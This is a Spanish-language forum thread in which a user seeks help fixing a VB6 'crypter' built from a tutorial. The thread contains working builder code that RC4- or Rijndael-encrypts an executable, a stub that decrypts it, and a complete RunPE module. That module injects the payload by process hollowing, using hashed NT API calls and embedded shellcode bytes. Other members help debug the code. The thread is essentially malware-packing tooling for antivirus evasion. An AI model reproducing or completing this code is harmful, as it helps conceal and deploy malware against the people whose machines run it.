Ayuda Crypter

-UnDerW0rld- · Mensajes: 5 Registrado: 31 Mar 2013, 03:58

por -UnDerW0rld- Sin síntomas

Bueno estoy haciendo el crypter del tutrial de 'Sanko' pero tengo algún que otro problema, al principio cuando encriptaba el exe al abrirlo me salia un mensaje diciendo Error '9' Subindice... y no se abría la aplicación, después de probar varios Rumpes ya no me sale ese error, pero al abrir la aplicación encriptada se abre una ventana del CMD y se cierra, no ocurre nada mas, y tampoco me deja ejecutarlo en mi windows 7 x64bits solo me funciona (el error xD) en mi maquina virtual de windows xp donde tengo el VB6

Os dejo a qui el codigo del runpe del cliente y del Stub

P.D: Las variables están igual que en el tutorial, fue lo ultimo que se me ocurrió por si había copiado algo mal.

Cliente

Mostrar/Ocultar

Const key1 = " d2VpdXdlcmpoZHNvaXV3ZXJqa2h3a2VqcmhmZHNvaXV3ZWRzYWtqaDNranNk "
Const key2 = " aGdqNGczNWpoZ2Zkczk4NzM0aGtqaHNka2pmaDM0ODd5NDNoa2pzZGZoc2tkamZoMzQ "
Const key3 = " a3NoZmxrc2pmc2RmJTI3JUExc2RmJUExJTI3NCVCNCVGMTM0JTI3MzQzcDRvaWxranNkZjlpNCVGMWxzbGs1NCUyNzA "
Public Function srandom()
Dim cualquiercosa1 As String
Dim cualquiercosa2 As Integer

cualquiercosa1 = key1 + key2 + key3
For cualquiercosa2 = 1 To 50
srandom = srandom & Mid$(cualquiercosa1, Int((Rnd * Len(cualquiercosa1)) + 1), 1)
Next cualquiercosa2
End Function


Private Sub Command1_Click()
With CD
.DialogTitle = " Seleccione el archivo a encriptar "
.Filter = "Ejecutables .exe | *.exe"
.ShowOpen
End With
If Dir(CD.Filename) = vbNullString Then Exit Sub
Text1.Text = CD.Filename
End Sub

Private Sub Command2_Click()
Text2.Text = srandom()
End Sub

Private Sub Command3_Click()
Dim phptools As String
If Text1.Text = vbNullString Then
MsgBox " El archivo no existe ", vbInformation, Me.Caption
Exit Sub
End If

With CD ' abrimos dialog
.DialogTitle = " Selecciona la ruta donde guardar su archivo encriptado "
.Filter = "Ejecutables .exe |*.exe"
.ShowSave
End With
Open App.Path & "\" & "TOOL.exe" For Binary As #1
Stub = Space(LOF(1))
Get #1, , phptools
Close #1
Dim EOF As String
If Check1.Value = 1 Then EOF = ReadEOFData(Text1.Text)
Dim PHPBIN As String
Open Text1.Text For Binary As #1
PHPBIN = Space(LOF(1))
Get #1, , PHPBIN
Close #1
Dim RC4 As New clsRC4, Rijndael As New clsRijndael
Dim encriptacion As String

If Option1.Value = True Then
PHPBIN = RC4.EncryptString(PHPBIN, Text2.Text)
encriptacion = "RC4"
End If
If Option2.Value = True Then
PHPBIN = Rijndael.EncryptString(PHPBIN, Text2.Text)
encriptacion = "Rijndael"
End If

Dim PHPDATOS As String
PHPDATOS = phptools & "[-UnderW0rld-]" & PHPBIN & "[-UnderW0rld-]" & encriptacion & "[-UnderW0rld-]" & Text2.Text & "[-UnderW0rld-]"
If Check1.Value = 1 Then Call WriteEOFData(CD.Filename, EOF)
Open CD.Filename For Binary As 1
Put #1, , PHPDATOS & "Crypter by -UnderW0rld-"
Close #1
MsgBox " Encriptado Correctamente "
End Sub

Stub

Mostrar/Ocultar

Sub Main()
Dim Datosdephptools As String
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
    Datosdephptools = Space(LOF(1))
    Get #1, , Datosdephptools
Close #1
Dim phpSplit() As String

phpSplit() = Split(Datosdephptools, "[-UnderW0rld-]")
Dim RC4 As New clsRC4, Rijndael As New clsRijndael

If phpSplit(2) = "RC4" Then
    phpSplit(1) = RC4.DecryptString(phpSplit(1), phpSplit(3))
End If

If phpSplit(2) = "Rijndael" Then
    phpSplit(1) = Rijndael.DecryptString(phpSplit(1), phpSplit(3))
End If

Dim phpDatos() As Byte
    phpDatos() = StrConv(phpSplit(1), vbFromUnicode)
    
Call RunPE(App.Path & "\" & App.EXEName & ".exe", phpDatos(), Command)

End Sub

Runpe

Mostrar/Ocultar

Sub Main()
Dim Datosdephptools As String
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
    Datosdephptools = Space(LOF(1))
    Get #1, , Datosdephptools
Close #1
Dim phpSplit() As String

phpSplit() = Split(Datosdephptools, "[-UnderW0rld-]")
Dim RC4 As New clsRC4, Rijndael As New clsRijndael

If phpSplit(2) = "RC4" Then
    phpSplit(1) = RC4.DecryptString(phpSplit(1), phpSplit(3))
End If

If phpSplit(2) = "Rijndael" Then
    phpSplit(1) = Rijndael.DecryptString(phpSplit(1), phpSplit(3))
End If

Dim phpDatos() As Byte
    phpDatos() = StrConv(phpSplit(1), vbFromUnicode)
    
Call RunPE(App.Path & "\" & App.EXEName & ".exe", phpDatos(), Command)

End Sub

Los módulos de encriptacion que utilizo son los del tutorial que vienen de casi todos los tipos incluido el EOF

tronoslycer · Mensajes: 88 Registrado: 27 Jun 2012, 17:11

por tronoslycer Delirios esporádicos

en esta parte del cliente

Código: Seleccionar todo

Open App.Path & "\" & "TOOL.exe" For Binary As #1
Stub = Space(LOF(1))
Get #1, , phptools

en vez de stub, pon phptools en el nombre de la variable que se iguala a space(lof(1))

-UnDerW0rld- · Mensajes: 5 Registrado: 31 Mar 2013, 03:58

por -UnDerW0rld- Sin síntomas

Que error más tonto, me he pasado horas mirando el codigo de arriba a abajo y no lo habia visto
Pero sigue pasando lo mismo, en la ventana del cmd que se abre sale una frase, pero se cierra tan rapido que no me da tiempo a leerlo, la he intentado pillar con el Impr pant pero tampoco

El codigo es el mismo, solo cambie el error ese que mencionastes.

Gracias por la ayuda igualmente.

xserpientex · Mensajes: 223 Registrado: 18 Nov 2009, 09:52 Ubicación: Plumas Verdes

por xserpientex Se medica

Hola hermano, ese codigo que pones en el Rum Pe es el del stub, por error al copiarlo al post o lo tienes asi en el proyecto ??

-UnDerW0rld- · Mensajes: 5 Registrado: 31 Mar 2013, 03:58

por -UnDerW0rld- Sin síntomas

xserpientex escribió:Hola hermano, ese codigo que pones en el Rum Pe es el del stub, por error al copiarlo al post o lo tienes asi en el proyecto ??

Ha sido error al pegarlo, gracias por avisar, este es el runpe que utilizo ahora, por que sigo haciendo pruebas.

Runpe

Mostrar/Ocultar

ption Explicit
Option Base 0

'---------------------------------------------------------------------------------------
' Module    : kRunPe
' Author    : Karcrack
' Date      : 230710
' Purpose   : Shortest way to Run PE from ByteArray
'---------------------------------------------------------------------------------------

Private Type DWORD_L
    D1                          As Long
End Type

Private Type DWORD_B
    B1      As Byte:    B2      As Byte
    B3      As Byte:    B4      As Byte
End Type

'USER32
Private Declare Function CallWindowProcW Lib "USER32" (ByVal lpCode As Long, Optional ByVal lParam1 As Long, Optional ByVal lParam2 As Long, Optional ByVal lParam3 As Long, Optional ByVal lParam4 As Long) As Long

Private bInitialized_Inv        As Boolean
Private ASM_gAPIPTR(170)        As Byte
Private ASM_cCODE(255)          As Byte

Private Const KERNEL32          As String = "KERNEL32"
Private Const NTDLL             As String = "NTDLL"

Public Function RunPE(ByRef bvBuff() As Byte, ByVal sHost As String, Optional ByVal sParams As String, Optional ByRef hProcess As Long) As Boolean
    Dim hModuleBase             As Long
    Dim hPE                     As Long
    Dim hSec                    As Long
    Dim ImageBase               As Long
    Dim i                       As Long
    Dim tSTARTUPINFO(16)        As Long
    Dim tPROCESS_INFORMATION(3) As Long
    Dim tCONTEXT(50)            As Long
   
    hModuleBase = VarPtr(bvBuff(0))
   
    If Not GetNumb(hModuleBase, 2) = &H5A4D Then Exit Function
   
    hPE = hModuleBase + GetNumb(hModuleBase + &H3C)
   
    If Not GetNumb(hPE) = &H4550 Then Exit Function

    ImageBase = GetNumb(hPE + &H34)
   
    tSTARTUPINFO(0) = &H44
    'CreateProcessW@KERNEL32
    Call Invoke(KERNEL32, &H16B3FE88, StrPtr(sHost), StrPtr(sParams), 0, 0, 0, &H4, 0, 0, VarPtr(tSTARTUPINFO(0)), VarPtr(tPROCESS_INFORMATION(0)))
    'NtUnmapViewOfSection@NTDLL
    Call Invoke(NTDLL, &HF21037D0, tPROCESS_INFORMATION(0), ImageBase)
    'NtAllocateVirtualMemory@NTDLL
    Call Invoke(NTDLL, &HD33BCABD, tPROCESS_INFORMATION(0), VarPtr(ImageBase), 0, VarPtr(GetNumb(hPE + &H50)), &H3000, &H40)
    'NtWriteVirtualMemory@NTDLL
    Call Invoke(NTDLL, &HC5108CC2, tPROCESS_INFORMATION(0), ImageBase, VarPtr(bvBuff(0)), GetNumb(hPE + &H54), 0)
   
    For i = 0 To GetNumb(hPE + &H6, 2) - 1
        hSec = hPE + &HF8 + (&H28 * i)
       
        'NtWriteVirtualMemory@NTDLL
        Call Invoke(NTDLL, &HC5108CC2, tPROCESS_INFORMATION(0), ImageBase + GetNumb(hSec + &HC), hModuleBase + GetNumb(hSec + &H14), GetNumb(hSec + &H10), 0)
    Next i

    tCONTEXT(0) = &H10007
    'NtGetContextThread@NTDLL
    Call Invoke(NTDLL, &HE935E393, tPROCESS_INFORMATION(1), VarPtr(tCONTEXT(0)))
    'NtWriteVirtualMemory@NTDLL
    Call Invoke(NTDLL, &HC5108CC2, tPROCESS_INFORMATION(0), tCONTEXT(41) + &H8, VarPtr(ImageBase), &H4, 0)
   
    tCONTEXT(44) = ImageBase + GetNumb(hPE + &H28)

    'NtSetContextThread@NTDLL
    Call Invoke(NTDLL, &H6935E395, tPROCESS_INFORMATION(1), VarPtr(tCONTEXT(0)))
    'NtResumeThread@NTDLL
    Call Invoke(NTDLL, &HC54A46C8, tPROCESS_INFORMATION(1), 0)
   
    hProcess = tPROCESS_INFORMATION(0)
    RunPE = True
End Function

Private Function GetNumb(ByVal lPtr As Long, Optional ByVal lSize As Long = &H4) As Long
    'NtWriteVirtualMemory@NTDLL
    Call Invoke(NTDLL, &HC5108CC2, -1, VarPtr(GetNumb), lPtr, lSize, 0)
End Function

Public Function Invoke(ByVal sDLL As String, ByVal hHash As Long, ParamArray vParams() As Variant) As Long
    Dim vItem                   As Variant
    Dim bsTmp                   As DWORD_B
    Dim lAPI                    As Long
    Dim i                       As Long
    Dim w                       As Long
   
    If Not bInitialized_Inv Then
        For i = 0 To 170
            ASM_gAPIPTR(i) = CByte(Choose(i + 1, &HE8, &H22, &H0, &H0, &H0, &H68, &HA4, &H4E, &HE, &HEC, &H50, &HE8, &H43, &H0, &H0, &H0, &H83, &HC4, &H8, &HFF, &H74, &H24, &H4, &HFF, &HD0, &HFF, &H74, &H24, &H8, &H50, &HE8, &H30, &H0, &H0, &H0, &H83, &HC4, &H8, &HC3, &H56, &H55, &H31, &HC0, &H64, &H8B, &H70, &H30, &H8B, &H76, &HC, &H8B, &H76, &H1C, &H8B, &H6E, &H8, &H8B, &H7E, &H20, &H8B, &H36, &H38, &H47, &H18, &H75, &HF3, &H80, &H3F, &H6B, &H74, &H7, &H80, &H3F, &H4B, &H74, &H2, &HEB, &HE7, &H89, &HE8, &H5D, &H5E, &HC3, &H55, &H52, &H51, _
                            &H53, &H56, &H57, &H8B, &H6C, &H24, &H1C, &H85, &HED, &H74, &H43, &H8B, &H45, &H3C, &H8B, &H54, &H5, &H78, &H1, &HEA, &H8B, &H4A, &H18, &H8B, &H5A, &H20, &H1, &HEB, &HE3, &H30, &H49, &H8B, &H34, &H8B, &H1, &HEE, &H31, &HFF, &H31, &HC0, &HFC, &HAC, &H84, &HC0, &H74, &H7, &HC1, &HCF, &HD, &H1, &HC7, &HEB, &HF4, &H3B, &H7C, &H24, &H20, &H75, &HE1, &H8B, &H5A, &H24, &H1, &HEB, &H66, &H8B, &HC, &H4B, &H8B, &H5A, &H1C, &H1, &HEB, &H8B, &H4, &H8B, &H1, &HE8, &H5F, &H5E, &H5B, &H59, &H5A, &H5D, &HC3))
        Next i
        i = 0
        bInitialized_Inv = True
    End If
   
    lAPI = CallWindowProcW(VarPtr(ASM_gAPIPTR(0)), StrPtr(sDLL), hHash)
   
    If lAPI Then
        For w = UBound(vParams) To LBound(vParams) Step -1
            bsTmp = SliceLong(CLng(vParams(w)))
            '// PUSH ADDR
            Call PutByte(&H68, i)
            Call PutByte(bsTmp.B1, i):  Call PutByte(bsTmp.B2, i)
            Call PutByte(bsTmp.B3, i):  Call PutByte(bsTmp.B4, i)
        Next w
       
        bsTmp = SliceLong(lAPI)
        '// MOV EAX, ADDR
        Call PutByte(&HB8, i)
        Call PutByte(bsTmp.B1, i):  Call PutByte(bsTmp.B2, i)
        Call PutByte(bsTmp.B3, i):  Call PutByte(bsTmp.B4, i)
        '// CALL EAX
        Call PutByte(&HFF, i):      Call PutByte(&HD0, i)
        '// RET
        Call PutByte(&HC3, i)
       
        Invoke = CallWindowProcW(VarPtr(ASM_cCODE(0)))
    End If
End Function

Private Sub PutByte(ByVal bByte As Byte, ByRef iCounter As Long)
    ASM_cCODE(iCounter) = bByte
    iCounter = iCounter + 1
End Sub

Private Function SliceLong(ByVal lLong As Long) As DWORD_B
    Dim tL                      As DWORD_L
   
    tL.D1 = lLong
    LSet SliceLong = tL
End Function

El "Call" del Stub lo he cambiado para que corresponda con este Runpe, para que no se molesten en preguntarme eso.

xserpientex · Mensajes: 223 Registrado: 18 Nov 2009, 09:52 Ubicación: Plumas Verdes

por xserpientex Se medica

Ok, busca el problema en las encryptaciones ya que el codigo "limpio" ejecuta correctamente, ahora le agrego el Rum Pe para analizar
Saludos

por Flight embedded Moderador

call runpe(stronv(bytes(1),vbfromunicode), appexe)

Pink · Mensajes: 1273 Registrado: 20 Sep 2011, 04:21 Ubicación: Code for $$$

por Pink Usa camisa de fuerza

Call RunPE(phpDatos(),App.Path & "\" & App.EXEName & ".exe")

Ayuda Crypter

Temas similares

Links sobre el tema

Variantes de tema

Ayuda Crypter

Mostrar mensajes previos

Ordenar por

Temas similares

Links sobre el tema

Variantes de tema